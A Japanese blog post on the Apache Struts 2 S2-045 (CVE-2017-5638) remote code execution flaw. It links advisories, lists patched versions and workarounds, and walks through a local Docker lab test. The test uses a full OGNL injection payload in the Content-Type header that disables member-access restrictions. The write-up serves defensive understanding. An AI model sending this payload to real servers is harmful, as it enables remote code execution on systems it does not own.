Apache Strtus 2 の脆弱性(S2-045)について
Apache Strutsの脆弱性S2-045が3月6日に公開されました。
JVNVU#93610402: Apache Struts2 に任意のコードが実行可能な脆弱性
Apache Struts2 には、Jakarta Multipart parser の処理に起因する、任意のコードが実行可能な脆弱性が存在します。
注意喚起
Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起
Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045):IPA 独立行政法人 情報処理推進機構
まとめ
Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog
2017年3月に発生したApache Struts 2で稼働していたとみられるWebサイトへの不正アクセスについてまとめてみた - piyolog
Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について | LAC WATCH | 株式会社ラック
技術検証
Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記
CVE-2017-5638 - 脆弱性調査レポート | ソフトバンク・テクノロジー
Apache Struts2の脆弱性(CVE-2017-5638)を検証してみた - とある診断員の備忘録
リモートから任意コード実行というとても危なげな脆弱性です。Struts 2は過去にもいくつか同じレベルの脆弱性が公開され、なんだかんだ影響が大きかったように思います。
今回もどうもそんなパターンのようです。
内容については上記記事が大体まとめてくれています。つぎはぎすると以下のような感じ。
簡単に概要
この脆弱性は、ファイルアップロード時に使用するマルチパーサー「jakarta」に起因する脆弱性で、同マルチパーサーはApache Struts 2にてデフォルトで使用しているものです。 この脆弱性を利用した攻撃が成立した場合、リモートからApache Struts2が配置されたWebアプリケーションサーバーの実行権限で任意のコードを実行される危険性があります。
ファイルアップロード時のヘッダの処理方式に問題があるようです。
要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。
影響を受けるバージョン
対策
2017年3月8日付リリース以降のバージョンに更新する。
・Apache Struts 2.3.32 以降
・Apache Struts 2.5.10.1 以降
また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。・https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries
回避策
「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。
Multipartパーサーの切り替えやサーブレットフィルタはあくまで次善策と考え、アップデートでの対応が望ましいと思われます。
追記・2017/03/25
MultipartパーサーはJakarta Streamでも影響を受けることが公開されました。また、Content-Type以外に、Content-LengthとContent-Dispositionの値を利用した攻撃コードも公開されています。対策についはご注意ください。
後追いですが、検証してみます。
「とある診断員」さんのリンクから、DockerでStrutsの検証環境構築に関する記事へのリンクがあり、これが役に立ちます。
Dockerを使って、Apache Struts2の脆弱性S2-037のやられ環境を手軽に作る - DARK MATTER
以下のようなDockerfileを作成
FROM tomcat:7.0-jre8
ADD struts-2.5.10/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]
ADDするwarファイルは好みに応じて、必要なStrutsのバージョンをダウンロードし、展開したものを用意し、そのパスを指定します。
ビルドして実行
docker build -t struts/s2_045 .
docker run -it --rm -p 8080:8080 struts/s2_045
あとはリクエストを投げるだけ。
割と結構面倒なStrutsの環境構築がものの数分で完了するという手軽さ。しかも、Dockerfileをちょっと書き換えるだけで異なるバージョンの環境も簡単に作れます。
後は 「http://localhost:8080/struts2-rest-showcase/orders.xhtml」にアクセスできることを確認し、環境構築は完了です。
攻撃検証の方法はなんでもいいのですが、要は「Content-Type」ヘッダに攻撃コードを入れればいいので、REST Clientでやってみます。
URLを指定し、「Content-Type」ヘッダに以下のような攻撃コードを追加。
"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println("testest")).(#ros.flush())}"
まず普通にGETした結果。
次に 「Content-Type」に攻撃コードを追加した結果。
これで、コマンドの結果が返ってきます。ちなみに、GETでもPOSTでもどちらでも攻撃は可能です。
脆弱性の修正されたバージョンのStruts 2.5.10.1に対して、同じリクエストを投げてみると、GETでは200、POSTでは400が返ってきましたボディを確認すると、コマンドは実行されていないようです。
昨年の春ごろもStrutsの脆弱性が騒がれていたので、前回の大きな脆弱性から1年経っていません。Strutsを利用している方は、やはりWAFなどの攻撃に対する緩和策も用意しておくのがいいかと思います。
……一番の対策はStrutsを使わないことじゃないでしょうか。